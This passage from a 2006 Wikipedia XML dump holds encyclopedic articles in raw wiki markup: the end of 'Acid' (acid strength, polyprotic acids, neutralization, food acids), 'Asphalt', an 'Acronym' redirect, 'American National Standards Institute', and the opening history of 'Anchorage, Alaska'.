[[Strong acid]]s have large ''K''&lt;sub&gt;a&lt;/sub&gt; values (i.e. the reaction equilibrium lies far to the right; the acid is almost completely dissociated to H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt; and A&lt;sup&gt;-&lt;/sup&gt;).  Strong acids include the heavier [[hydrohalic acid]]s: [[hydrochloric acid]] (HCl), [[hydrobromic acid]] (HBr), and [[hydroiodic acid]] (HI). (However, [[hydrofluoric acid]], HF, is relatively weak.) For example, the ''K''&lt;sub&gt;a&lt;/sub&gt; value for [[hydrochloric acid]] (HCl) is 10&lt;sup&gt;7&lt;/sup&gt;.

[[Weak acid]]s have small ''K''&lt;sub&gt;a&lt;/sub&gt; values (i.e. at equilibrium significant amounts of HA and A&lt;sup&gt;&amp;minus;&lt;/sup&gt; exist together in solution; modest levels of H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt; are present; the acid is only partially dissociated). For example, the K&lt;sub&gt;a&lt;/sub&gt; value for acetic acid is 1.8 x 10&lt;sup&gt;-5&lt;/sup&gt;.  Most organic acids are weak acids.  [[Oxoacid]]s, which tend to contain central atoms in high oxidation states surrounded by oxygen may be quite strong or weak.  [[Nitric acid]], [[sulfuric acid]], and [[perchloric acid]] are all strong acids, whereas [[nitrous acid]], [[sulfurous acid]] and [[hypochlorous acid]] are all weak. 

Note the following:
* The terms &quot;[[hydrogen]] ion&quot; and &quot;proton&quot; are used interchangebly; both refer to H&lt;sup&gt;+&lt;/sup&gt;.
* In aqueous solution, the water is protonated to form [[hydronium]] ion, H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt;(aq).  This is often abbreviated as H&lt;sup&gt;+&lt;/sup&gt;(aq) even though the symbol is not chemically correct.
* The strength of an acid is measured by its [[acid dissociation constant]] (''K''&lt;sub&gt;a&lt;/sub&gt;) or equivalently its p''K''&lt;sub&gt;a&lt;/sub&gt; (p''K''&lt;sub&gt;a&lt;/sub&gt;= - log(''K''&lt;sub&gt;a&lt;/sub&gt;). 
* The [[pH]] of a solution is a measurement of the concentration of [[hydronium]].  This will depend of the concnetration and nature of acids and bases in solution.

=== Polyprotic acids ===

[[Polyprotic]] acids are able to donate more than one proton per acid molecule, in contrast to monoprotic acids that only donate one proton per molecule. Specific types of polyprotic acids have more specific names, such as '''diprotic acid''' (two potenital protons to donate) and '''triprotic acid''' (three potenital protons to donate)  

A monoprotic acid can undergo one [[dissociation]] (sometimes called ionization) as follows and simply has one acid dissociation constant as shown above:

:::::HA(aq) + H&lt;sub&gt;2&lt;/sub&gt;O(l)  {{unicode|&amp;#8652;}} H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt;(aq) + A&lt;sup&gt;&amp;minus;&lt;/sup&gt;(aq) &amp;nbsp; &amp;nbsp;  &amp;nbsp; &amp;nbsp; ''K''&lt;sub&gt;a&lt;/sub&gt;


A diprotic acid (here symbolized by H&lt;sub&gt;2&lt;/sub&gt;A) can undergo one or two dissociations depending on the pH.  Each dissociation has its own dissociation constant, K&lt;sub&gt;a1&lt;/sub&gt; and K&lt;sub&gt;a2&lt;/sub&gt;.

:::::H&lt;sub&gt;2&lt;/sub&gt;A(aq) + H&lt;sub&gt;2&lt;/sub&gt;O(l)  {{unicode|&amp;#8652;}}  H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt;(aq) + HA&lt;sup&gt;&amp;minus;&lt;/sup&gt;(aq) &amp;nbsp; &amp;nbsp;  &amp;nbsp; ''K''&lt;sub&gt;a1&lt;/sub&gt;

:::::HA&lt;sup&gt;&amp;minus;&lt;/sup&gt;(aq) + H&lt;sub&gt;2&lt;/sub&gt;O(l)  {{unicode|&amp;#8652;}}  H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt;(aq) + A&lt;sup&gt;2&amp;minus;&lt;/sup&gt;(aq)&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; ''K''&lt;sub&gt;a2&lt;/sub&gt;

The first dissociation constant is typically greater than the second; i.e., ''K''&lt;sub&gt;a1&lt;/sub&gt; &gt; ''K''&lt;sub&gt;a2&lt;/sub&gt; .  For example, [[sulfuric acid]] (H&lt;sub&gt;2&lt;/sub&gt;SO&lt;sub&gt;4&lt;/sub&gt;) can donate one proton to form the [[bisulfate]] anion (HSO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;&amp;minus;&lt;/sup&gt;), for which ''K''&lt;sub&gt;a1&lt;/sub&gt; is very large; then it can donate a second proton to form the [[sulfate]] anion (SO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;2&amp;minus;&lt;/sup&gt;), wherein the ''K''&lt;sub&gt;a2&lt;/sub&gt; is intermediate strength.  The large ''K''&lt;sub&gt;a1&lt;/sub&gt; for the first dissociation makes sulfuric a strong acid.  In a similar manner, the weak unstable [[carbonic acid]] (H&lt;sub&gt;2&lt;/sub&gt;CO&lt;sub&gt;3&lt;/sub&gt;) can lose one proton to form [[bicarbonate]] anion (HCO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;&amp;minus;&lt;/sup&gt;) and lose a second to form [[carbonate]] anion (CO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;2&amp;minus;&lt;/sup&gt;).  Both ''K''&lt;sub&gt;a&lt;/sub&gt; values are small, but ''K''&lt;sub&gt;a1&lt;/sub&gt; &gt; ''K''&lt;sub&gt;a2&lt;/sub&gt; .


A triprotic acid (H&lt;sub&gt;3&lt;/sub&gt;A) can undergo one, two, or three dissociations and has three dissociation constants, where ''K''&lt;sub&gt;a1&lt;/sub&gt; &gt; ''K''&lt;sub&gt;a2&lt;/sub&gt; &gt; ''K''&lt;sub&gt;a3&lt;/sub&gt; .

:::::H&lt;sub&gt;3&lt;/sub&gt;A(aq) + H&lt;sub&gt;2&lt;/sub&gt;O(l)  {{unicode|&amp;#8652;}}  H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt;(aq) + H&lt;sub&gt;2&lt;/sub&gt;A&lt;sup&gt;&amp;minus;&lt;/sup&gt;(aq) &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; ''K''&lt;sub&gt;a1&lt;/sub&gt;

:::::H&lt;sub&gt;2&lt;/sub&gt;A&lt;sup&gt;&amp;minus;&lt;/sup&gt;(aq) + H&lt;sub&gt;2&lt;/sub&gt;O(l)  {{unicode|&amp;#8652;}}  H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt;(aq) + HA&lt;sup&gt;2&amp;minus;&lt;/sup&gt;(aq) &amp;nbsp; &amp;nbsp;  &amp;nbsp; ''K''&lt;sub&gt;a2&lt;/sub&gt;

:::::HA&lt;sup&gt;2&amp;minus;&lt;/sup&gt;(aq) + H&lt;sub&gt;2&lt;/sub&gt;O(l)  {{unicode|&amp;#8652;}}  H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt;(aq) + A&lt;sup&gt;3&amp;minus;&lt;/sup&gt;(aq) &amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ''K''&lt;sub&gt;a3&lt;/sub&gt;

An [[inorganic]] example of a triprotic acid is orthophosphoric acid (H&lt;sub&gt;3&lt;/sub&gt;PO&lt;sub&gt;4&lt;/sub&gt;), usually just called [[phosphoric acid]].  All three protons can be successively lost to yield H&lt;sub&gt;2&lt;/sub&gt;PO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;&amp;minus;&lt;/sup&gt;, then HPO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;2&amp;minus;&lt;/sup&gt;, and finally PO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;3&amp;minus;&lt;/sup&gt; , the orthophosphate ion, usually just called [[phosphate]].  An [[Organic compound|organic]] example of a triprotic acid is [[citric acid]], which can successively lose three protons to finally form the [[citrate]] ion.  Even though the positions of the protons on the original molecule may be equivalent, the successive ''K''&lt;sub&gt;a&lt;/sub&gt; values will differ since it is energetically less favorable to lose a proton if the conjugate base is more negatively charged.

== Neutralization ==

[[Neutralization]] is the reaction between equal amounts of an acid and a base, producing a [[salt]] and [[water (molecule)|water]]; for example, hydrochloric acid and sodium hydroxide form sodium chloride and water:

::HCl(aq) + NaOH(aq) -&gt; H&lt;sub&gt;2&lt;/sub&gt;O(l) + NaCl(aq)

Neutralization is the basis of [[titration]], where a [[PH indicator|pH indicator]] shows equivalence point when the equivalent number of moles of a base have been added to an acid.


== Common acids ==

=== Strong inorganic acids ===

* [[Hydrobromic acid]]
* [[Hydrochloric acid]]
* [[Hydroiodic acid]]
* [[Nitric acid]]
* [[Sulfuric acid]]
* [[Perchloric acid]]

=== Medium to weak inorganic acids ===

* [[Boric acid]]
* [[Carbonic acid]]
* [[Chloric acid]]
* [[Hydrofluoric acid]]
* [[Phosphoric acid]]
* [[Pyrophosphoric acid]]

===Weak [[organic acid]]s===

* [[Acetic acid]]
* [[Benzoic acid]]
* [[Butyric acid]]
* [[Citric acid]]
* [[Formic acid]]
* [[Lactic acid]]
* [[Malic acid]]
* [[Mandelic acid]]
* [[Methanethiol]]
* [[Propionic acid]]
* [[Pyruvic acid]]
* [[Valeric acid]]

== Acids in food ==

* '''[[Acetic acid]]''': (E260) found in [[vinegar]]
* '''[[Adipic acid]]''': (E355)
* '''[[Alginic acid]]''': (E400)
* '''[[Ascorbic acid]]''' (vitamin C): (E300) found in fruits
* '''[[Benzoic acid]]''': (E210)
* '''[[Boric acid]]''': (E284)
* '''[[Citric acid]]''': (E330) found in [[citrus fruits]]
* '''[[Carbonic acid]]''': (E290) found in [[carbonation|carbonated]] [[soft drink]]s
* '''[[Carminic acid]]''': (E120)
* '''[[Cyclamic acid]]''': (E952)
* '''[[Erythorbic acid]]''': (E315)
* '''[[Erythorbin acid]]''': (E317)
* '''[[Formic acid]]''': (E236)found in bee and ant stings
* '''[[Fumaric acid]]''': (E297)
* '''[[Gluconic acid]]''': (E574)
* '''[[Glutamic acid]]''': (E620)
* '''[[Guanylic acid]]''': (E626)
* '''[[Hydrochloric acid]]''': (E507)
* '''[[Inosinic acid]]''': (E630)
* '''[[Lactic acid]]''': (E270) found in [[dairy products]] such as [[yoghurt]] and sour [[milk]], also is product of [[cellular fermentation]], the reason muscles burn
* '''[[Malic acid]]''': (E296)
* '''[[Metatartaric acid]]''': (E353)
* '''[[Methanethiol]]''':  found in cheese and some other fermented foods.
* '''[[Niacin]]''' (nicotinic acid): (E375)
* '''[[Oxalic acid]]''': found in [[spinach]] and [[rhubarb]]
* '''[[Pectic acid]]''': found in fruits and some vegetables
* '''[[Phosphoric acid]]''': (E338)
* '''[[Propionic acid]]''': (E280)
* '''[[Sorbic acid]]''': (E200) found in foods and drinks
* '''[[Stearic acid]]''': (E570), a type of [[fatty acid]].
* '''[[Succinic acid]]''': (E363)
* '''[[Sulfuric acid]]''': (E513)
* '''[[Tannic acid]]''': found in [[tea]]
* '''[[Tartaric acid]]''': (E334) found in [[grapes]]

== Sources ==

* [http://www.csudh.edu/oliver/chemdata/data-ka.htm Listing of strengths of common acids and bases]
* Zumdahl, Chemistry, 4th Edition.

== See also==
* [[acid number]]

[[Category:Chemical substances]]
[[Category:Acids|*]]
[[Category:Arabic words]]

&lt;!-- interwiki --&gt;

[[bg:Киселина]]
[[ca:Àcid]]
[[cs:Kyselina]]
[[da:Syre]]
[[de:Säuren]]
[[et:Hape]]
[[es:Ácido]]
[[eo:Acido]]
[[fr:Acide]]
[[gl:Ácido]]
[[ko:산 (화학)]]
[[hr:Kiseline]]
[[io:Acido]]
[[id:Asam]]
[[it:Acido]]
[[he:חומצה]]
[[lv:Skābe]]
[[lt:Rūgštis]]
[[hu:Sav]]
[[mk:Киселина]]
[[nl:Zuur (chemie)]]
[[nds:Süür]]
[[ja:酸と塩基]]
[[pl:Kwas]]
[[pt:Ácido]]
[[ro:Acid]]
[[ru:Кислоты]]
[[simple:Acid]]
[[sk:Kyselina]]
[[sl:Kislina]]
[[sr:Киселина]]
[[sv:Syra]]
[[tl:Asido]]
[[ta:அமிலம்]]
[[th:กรด]]
[[vi:Axít]]
[[uk:Кислота]]
[[zh:酸]]</text>
    </revision>
  </page>
  <page>
    <title>Asphalt</title>
    <id>657</id>
    <revision>
      <id>42066690</id>
      <timestamp>2006-03-03T16:08:10Z</timestamp>
      <contributor>
        <username>DonSiano</username>
        <id>215548</id>
      </contributor>
      <comment>add ref</comment>
      <text xml:space="preserve">''The term '''asphalt''' is often used as an abbreviation for [[asphalt concrete]].''

'''Asphalt''' is a sticky, black and highly [[viscosity|viscous]] liquid or semi-solid that is present in most crude [[petroleum]]s and in some natural deposits.  Asphalt is composed almost entirely of [[bitumen]]. There is some disagreement amongst [[chemist]]s regarding the structure of asphalt, however it is most commonly modeled as a [[colloid]], with ''asphaltenes'' as the dispersed phase and ''maltenes'' as the continuous phase.

Asphalt is sometimes confused with [[tar]], which is an artificial material produced by the [[destructive distillation]] of [[organic matter]].  Tar is also predominantly composed of bitumen, however the bitumen content of tar is typically lower than that of asphalt.  Tar and asphalt have very different engineering properties.

Asphalt can be separated from the other components in crude oil (such as [[naphtha]], [[gasoline]] and [[diesel]]) by the process of [[fractional distillation]], usually under [[vacuum]] conditions. A better separation can be achieved by further processing of the heavier fractions of the crude oil in a [[de-asphalting unit]] which uses either [[propane]] or [[butane]] in a [[Supercritical fluid|supercritical]] phase to dissolve the lighter molecules which are then separated. Further processing is possible by &quot;blowing&quot; the product: namely reacting it with [[oxygen]]. This makes the product harder and more viscous.

Natural deposits of asphalt include Lake Asphalts (primarily from the [[Pitch Lake]] in [[Trinidad and Tobago]] and [[Bermudez Lake]] in [[Venezuela]]), [[Gilsonite]], the [[Dead Sea]] in [[Israel]], and [[Tar Sands]].  

Asphalt is rather hard to transport in bulk (it hardens unless kept very hot) so it is sometimes mixed with [[diesel oil]] or [[kerosene]] before shipping. Upon delivery, these lighter materials are separated out of the mixture. This mixture is often called '''bitumen feedstock''', or BFS.

The largest use of asphalt is for making [[asphalt concrete]] for [[Pavement (material)|pavement]]s, which accounts for approximately 80% of the asphalt consumed in the [[United States]].  [[Roof]]ing [[shingle]]s account for most of the remaining asphalt consumption. Other uses include [[cattle spray]]s, fence post treatments, and waterproofing for fabrics.

In the ancient [[middle-east]] natural asphalt deposits were used for [[mortar (masonry)| mortar]] between bricks and stones, ship [[caulking | caulk]], and waterproofing. The [[Persian language | Persian]] word for asphalt is ''mumiya'', which may be the source for the English word [[mummy]].
==References==
Barth, Edwin J., ''Asphalt:  Science and Technology'' Gordon and Breach (1962).  ISBN 0677000405.
==External links==
*[http://www.biffvernon.freeserve.co.uk/black_stuff.htm Black Stuff]
*[http://www.hawaiiasphalt.com/HAPI Hawaii Asphalt Pavement Guide]

[[Category:Petroleum products]]
[[Category:Construction]]
[[Category:Pavements]]

[[de:Asphalt]]
[[es:Asfalto]]
[[fr:Asphalte]]
[[id:Aspal]]
[[he:אספלט]]
[[nl:Asfalt]]
[[ja:アスファルト]]
[[pl:Asfalt]]
[[pt:Asfalto]]
[[ru:Асфальт]]
[[sv:Asfalt]]
[[fi:Asvaltti]]
[[vi:Nhựa đường]]</text>
    </revision>
  </page>
  <page>
    <title>Acronym</title>
    <id>658</id>
    <revision>
      <id>15899185</id>
      <timestamp>2004-09-29T01:43:26Z</timestamp>
      <contributor>
        <username>Nohat</username>
        <id>13661</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Acronym and initialism]]</text>
    </revision>
  </page>
  <page>
    <title>American National Standards Institute</title>
    <id>659</id>
    <revision>
      <id>41941782</id>
      <timestamp>2006-03-02T19:57:03Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <comment>title =&gt; bold text + clean up using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">The '''American National Standards Institute''' (ANSI) is a nonprofit organization that oversees the development of standards for products, services, processes and systems in the United States. The organization also coordinates U.S. standards with international standards so that American products can be used worldwide.  For example, standards make sure that people who own cameras can find the film they need for them anywhere around the globe. 

The American National Standards Institute approves standards that are developed by representatives of standards developing organizations, government agencies, consumer groups, companies, and others. These standards make sure that the characteristics and performance of products are consistent, that people use the same definitions and terms, and that products are tested the same way.

ANSI accredits organizations that carry out product or personnel certification in accordance with requirements defined in international standards. The ANSI accreditation programs conform to international guidelines as verified by government and peer review assessments.

In 1918, five engineering societies and three government agencies founded the American Engineering Standards Committee (AESC). The AESC became the American Standards Association (ASA) in 1928. In 1966, the ASA was reorganized and became the United States of America Standards Institute (USASI). The present name was adopted in 1969. The organization's headquarters are in Washington, D.C. For more information see its Web site at http://www.ansi.org. 

The '''ASA''' photographic exposure system became the basis for the ISO [[film speed]] system, currently used worldwide.

In [[Microsoft Windows]], the phrase &quot;ANSI&quot; refers to the [[Windows ANSI code page]]s. Most of these are fixed width though there are some variable width ones for [[ideographic language]]s. Some of these are very close to the [[ISO-8859]] series leading many to falsely assume that they are identical.

[[ASCII art]] which is colorized or animated by way of ANSI terminal control codes (X3.64 sequences) are commonly referred to as &quot;[[ANSI art]]&quot; and were predominantly popular on [[bulletin board system]]s throughout the 1980s and 1990s.

== See also==
* [http://www.ansi.org/nsp American National Standards Institute Nanotechnology Standards Panel (ANSI-NSP)]
* [http://www.ansi.org/hssp American National Standards Institute Homeland Security Standards Panel (ANSI-HSSP)]
* [http://www.ansi.org/hitsp American National Standards Institute Healthcare Information Technology Standards Panel (ANSI-HITSP)]
* [[ANSI art]], art created from a subset of [[ANSI X3.64|X3.64]]
* [[ANSI.SYS]], a device driver for [[MS-DOS]]
* [[ANSI escape code|ANSI escape codes]]
* [[Unified Thread Standard]]

==External links==
* [http://www.ansi.org/ American National Standards Institute] official website
* [http://www.ansi.org/about_ansi/introduction/introduction.aspx?menuid=1  ANSI Overview]
* [http://www.ansi.org/about_ansi/introduction/history.aspx?menuid=1 ANSI Historical Overview]
*[http://www.paulschou.com/tools/xlate/ Online Char (ASCII), HEX, Binary, Base64, etc... Encoder/Decoder]

[[Category:Standards organizations]]

[[ar:ANSI]]
[[zh-min-nan:ANSI]]
[[cs:American National Standards Institute]]
[[de:American National Standards Institute]]
[[es:ANSI]]
[[fr:American National Standards Institute]]
[[ko:ANSI]]
[[it:ANSI]]
[[he:מכון התקנים האמריקני]]
[[hu:ANSI]]
[[nl:American National Standards Institute]]
[[ja:ANSI]]
[[no:American National Standards Institute]]
[[pl:ANSI]]
[[pt:American National Standards Institute]]
[[sl:ANSI]]
[[sv:ANSI]]
[[th:สถาบันมาตรฐานแห่งชาติของสหรัฐอเมริกา]]
[[vi:ANSI]]
[[tr:ANSI]]
[[zh:美国国家标准学会]]</text>
    </revision>
  </page>
  <page>
    <title>Anchorage, Alaska</title>
    <id>660</id>
    <revision>
      <id>42009131</id>
      <timestamp>2006-03-03T04:48:21Z</timestamp>
      <contributor>
        <ip>67.10.251.112</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">{{Otheruses4|the city in the [[United States|U.S.]] state of [[Alaska]]|other meanings|Anchorage}}
{{Infobox City |
official_name = Anchorage, Alaska |
nickname = The City of Lights and Flowers |
image_skyline = Downtownanchorage,Alaska.jpg |
image_flag = Us-ak-an.jpg |
image_seal = |
image_map = Map of Alaska highlighting Anchorage Municipality.png |
map_caption = Location in the state of [[Alaska]] |
subdivision_type = [[Boroughs of the United States|Borough]] |
subdivision_name = [[Municipality of Anchorage]] |
leader_title = [[Mayor]] |
leader_name = [[Mark Begich]] |
area_magnitude = 1 E9 |
area_total = 1,961.1 mi&amp;sup2; / 5,079.2 |
area_land = 1,697.2 mi&amp;sup2; / 4,395.8 |
area_water = 2.63.9 mi&amp;sup2; / 683.4 |
population_as_of = 2004 |
population_metro = 339,286 |
population_total = 272,687 |
population_density = 160.7 |
timezone = [[Alaska Standard Time Zone|AST]] |
utc_offset = -9 |
timezone_DST = [[Alaska Daylight Time|ADT]] |
utc_offset_DST = -8 |
latd = 61 |
latm = 13 |
lats = 06 |
latNS = N |
longd = 149 |
longm = 53 |
longs = 57 |
longEW = W |
elevation = 115 |
website = [http://www.ci.anchorage.ak.us/ www.ci.anchorage.ak.us/] |
footnotes = 
}} 
'''Anchorage''' is a Unified [[Home Rule]] [[Municipality]] (officially called the '''Municipality of Anchorage''') in the [[U.S. state]] of [[Alaska]]. It is also a [[census area]]. With 260,283 residents according to the [[U.S. Census, 2000|2000 census]], Anchorage is the largest city in the state of [[Alaska]], composing more than two-fifths of the state's population. A State of Alaska Demographer in 2004 estimates the population at 277,498. Anchorage was founded in 1915 and named after a place where a ship lies at [[anchor]].  Its official [[List of city nicknames|nickname]] is &quot;The City of Lights and Flowers&quot;. Garden writers call Anchorage the &quot;Hanging Basket Capital of the World&quot; when it comes to the city's 100,000 hanging baskets, and aviation buffs refer to the city as the &quot;Air Crossroads of the World&quot; because of its geographical location between the two northern continents. 

In downtown Anchorage along the streets and sidewalks are 425 baskets of bright gold triploid marigold drenched with trailing sapphire lobelia. The blue and gold flowers represent the colors of the Municipality of Anchorage flag and the [[Flag of Alaska|Alaska state flag]]. The city of Anchorage blooms with vibrant color during the late spring and summer when it comes to [[flowers]].   

Today Anchorage has many features of a modern [[urban area]], such as [[park]]s and forests, bike and city trails, [[skiing]] and cross-country ski trails, business and [[commerce]], theaters and other [[entertainment]]s. The [[tourist industry]] is strong and offers many activities and attractions.

== History ==
{{main|History of Anchorage, Alaska}}

Russia was well-established in North America by the 1800s. In 1867, U.S. Secretary of State [[William H. Seward]] brokered a [[Alaska purchase|deal to purchase Alaska]] from debt-ridden [[Russia]] for $7.2 million, about two cents an acre. Alaska's value was not appreciated by the American masses at that time, calling it &quot;'''Seward's folly'''&quot;, &quot;'''Seward's icebox'''&quot; and &quot;'''Walrussia'''&quot;. By 1888, gold was discovered along [[Turnagain Arm]]. In 1912, Alaska became a [[United States Territory]]. Anchorage was carefully laid out by city planners in 1914, originally as a [[railroad]] [[construction]] [[port]] for the [[Alaska Railroad]], and on [[July 9]], [[1915]], the first sale of town lots was held. In 1915 President [[Woodrow Wilson]] authorized funds for the construction of the [[Alaska Railroad]]. That same year the Anchorage [[Chamber of Commerce]] was formed. Ship Creek Landing in Anchorage was selected as the headquarters of this effort. Soon a &quot;Tent City&quot; sprang up at the mouth of Ship Creek and the population quickly swelled to more than 2,000. Would-be entrepreneurs flocked to this bustling frontier town, and they brought with them everything necessary to build a city. A popular hardware and clothing store, &quot;The Anchorage,&quot; was actually an old dry-docked steamship named &quot;Berth.&quot; Although the area had been known by various names, the [[U.S. Post Office]] Department formalized the use of the name &quot;Anchorage,&quot; and despite some protests the name stuck. In 1920, the United States government relinquished its direct control over the city, and elections were held. Anchorage was incorporated on [[November 23]], [[1920]]. In 1923, [[William Mulcahy]] establishes the Anchorage Baseball League. Mulcahy was a baseball fan who was working as the Alaska Railroad station auditor assistant and established the baseball league in his spare time. Later in life, Mulcahy introduced Little League baseball and established the city's [[YMCA]]. The Mulcahy Park stadium and ball field were named in his honor for his contributions to early Anchorage. 

The 1930s were a time that Anchorage rebounded from the loss of population and industry it had suffered during [[World War I]]. [[Air transportation]] became increasingly important to Anchorage.  
In 1930, the original &quot;Park Strip&quot; landing field was replaced by a new facility, [[Merrill Field]], which had a beacon and a control [[tower]], and in a few short years, it became one of the busiest centers of [[civilian]] [[aircraft]] activity in the [[United States]]. In 1937, [[Providence Alaska Medical Center]] opened its doors.

&lt;!-- Unsourced image removed: [[Image:Anchorage-1940s2.jpg|thumb|right|280px|Fourth Avenue in the 1940s.]] --&gt;
The arrival of US Army troops in 1940 marked a decade of growth based on military expansion for Anchorage. Growth spurted in the 1940s, with the construction of [[Elmendorf Air Force Base]] and [[Fort Richardson]], which made Anchorage a major defense center. In 1940, a canal was built connecting [[Lake Spenard]] with [[Lake Hood]], making it the world's largest [[seaplane]] base. The outbreak of [[World War II]] with the threat of a Japanese invasion prompted continued expansion of military personnel and aircraft, and later the pressures of the [[Cold War]] between the [[United States]] and the [[Soviet Union]] ensured continued heavy military investment in the Anchorage area. In 1947, the [[parking meter]] was introduced in Anchorage, and in 1949, the first [[traffic light]]s were installed on Fourth Avenue. Between 1939 and 1950, Anchorage's population spurted from 4,230 to 30,060, and the cost of living soared. Anchorage also experienced an unfortunate rise in crime during this tumultuous growth period, a problem the city would fight for decades.

The decade of the 1950s was also eventful. In 1951 came the opening of the [[Seward Highway]]. On [[December 10]], [[1951]], Anchorage established itself as the &quot;Air Crossroads of the World&quot; when Anchorage International Airport opened with transpolar airline traffic flying between Western [[Europe]] and East [[Asia]]. The new airport also became a refueling stop for flights between the contiguous 48 states and East Asia, until nonstop flights became practical around 1970, with the Boeing 747 airliner. In 1953, [[health care]] expanded with the opening of the [[Alaska Native Medical Center]]. Also, three volcanoes erupted in the area, including [[Mount Spurr]], which dumped several inches of ash on Anchorage. [[KTVA]], the city's first [[television station]], began broadcasting in 1953. In 1954, the [[Alyeska Resort]] was established. In 1957, oil was discovered on the [[Kenai Peninsula]]. On [[January 3]], [[1959]], Alaska joined the union as the 49th state. 

&lt;!-- Unsourced image removed: [[Image:Anc65.jpg|thumb|left|280px|Downtown Anchorage in 1965.]] --&gt;
The decade of the 1960s began on a bright note for Anchorage after Alaska's attaining statehood. After Alaska became a state, Anchorage faced a severe housing shortage, which was solved partially by [[suburb|suburban expansion]]. In January 1964, Anchorage became both a City and a Borough. But on [[March 27]], [[1964]], Anchorage was hit by the [[Good Friday Earthquake]], which registered 9.2 on the [[Richter scale]] and caused tremendous destruction in south Alaska. This earthquake was the strongest ever recorded in [[North America]] and [[United States]] history, and Anchorage lay only 75 miles (120 km) from the [[epicenter]]. It killed 131 people across [[South Central Alaska]], and property damage was estimated at over $300 million (1964 dollars). The brand new J.C. Penney department store in Anchorage was flattened. Anchorage's remarkable recovery from this disaster dominated life in the late 1960s. The continued threat of earthquakes has prompted a limit on the height of buildings in the city; the tallest buildings are 21 stories high. In 1968, Kincaid Park was created in South Anchorage from a former [[Project Nike|Nike]] surface-to-air missile site. That same year, oil was discovered in [[Prudhoe Bay, Alaska|Prudhoe Bay]] on the Arctic Slope and, in 1969, oil-lease sales brought billions of dollars to the state.

[[Image:Statue_of_Balto_in_Anchorage.jpg|thumb|right|Statue in downtown Anchorage of [[Balto|Balto]], the lead sled dog during the last part of the [[Iditarod]] serum run.]]
The decade of the 1970s was an important time of growth for the Anchorage economy.  On [[March 3]], [[1973]], the first 1049-mile-long (1690 km) [[Iditarod Trail Sled Dog Race]] started from downtown Anchorage with 34 mushers. Twenty-two mushers finished the race, with the last one arriving in [[Nome, Alaska|Nome]] one-month after he left the starting line. In recent years, winners have finished the race in less than 10 days. In 1974, construction begain on the [[Trans-Alaska Pipeline System]], with [[Valdez]], not Anchorage, as its southern terminus. The oil discovery and pipline construction fueled a modern-day boom when oil and construction companies set up their headquarters in Anchorage. The pipeline was completed in 1977 at a cost of more than $8 billion. In 1975, Bicentennial Park was created in Southeast Anchorage. On [[September 15]], [[1975]], the city and borough consolidated forming a [[unified government]]. Also included in this unification were [[Eagle River, Alaska|Eagle River]], [[Eklutna, Alaska|Eklutna]], [[Girdwood, Alaska|Girdwood]], [[Glen Alps, Alaska|Glen Alps]], and several other communities. The unified area became officially known as the [[Anchorage Municipality|Municipality of Anchorage]]. By 1980, the population of Anchorage had grown to 174,431. 

The decade of the 1980s was a time of growth, thanks to a flood of North Slope oil revenue into the state treasury. Capital projects and an aggressive beautification program, combined with far-sighted community planning, greatly increased infrastructure and quality of life. These included a new [[library]], [[civic center]], [[arena|sports arena]], and [[performing arts center]]. The 1980s was also a time when Alaska's up-and-down economy struck. The price of oil dropped dramatically, and recession hit Anchorage. But in 1984, [[Hilltop Ski Area]] was established, which along with the [[Alyeska Resort]] in [[Girdwood, Alaska|Girdwood]], and [[Alpenglow at Arctic Valley]] gave residents three fully- operational skiing areas, benefitting tourism and recreational activities. In 1986, Kincaid Outdoor Center opens. In 1989, [[Mount Redoubt]] erupted again, curtailing aviation in the Anchorage area for a short period of time. 

The decade of the 1990s was a time when Anchorage saw gold. In 1996, the Arctic Winter Games were held in [[Chugiak]]/[[Eagle River, Alaska|Eagle River]] and, in 1999, the [[Alaska Native Heritage Center]] opened.

On [[July 8]], [[2000]], the municipal airport was renamed &quot;[[Ted Stevens Anchorage International Airport]]&quot; in honor of Alaska's longest-serving [[United States Senator]].

&lt;!-- Unsourced image removed: [[Image:AnchoragewithMcKinleyinthebackground.jpg|thumb|right|280px|A view of downtown Anchorage with a clear view of [[Mount McKinley]] ([[Denali]]) in background.]] --&gt;
In spite of the height limitations on buildings, Anchorage today has an attractive skyline nevertheless, particularly with the [[Chugach Mountains]], [[Cook Inlet]], or the often-visible [[Mount McKinley]] (also known as [[Denali]]) as a backdrop. From Government Hill, one can see the best view of Mount McKinley. Though space is limited in the &quot;Anchorage bowl,&quot; as locals call the peninsula on which the city is located, many parks, greenbelts, and other undeveloped areas can be found within the city itself, making it particularly attractive to nature lovers (to say nothing of the attractions available just a short distance outside the city). Over the past thirty years, however, many of these undeveloped areas have filled in with houses, strip malls, and other development. Nonetheless, there is an enormous amount of land under the Anchorage Municipal control, which totals some 1,955 square miles (5063 km&amp;sup2) - about the size of Delaware. The majority of this land is located within the [[Chugach Mountains]] to the east of the city, which also comprises [[Chugach State Park]].

== Geography and climate ==
=== Geography ===
[[Image:Vicinity map of Municipality of Anchorage.gif|right|350px]]
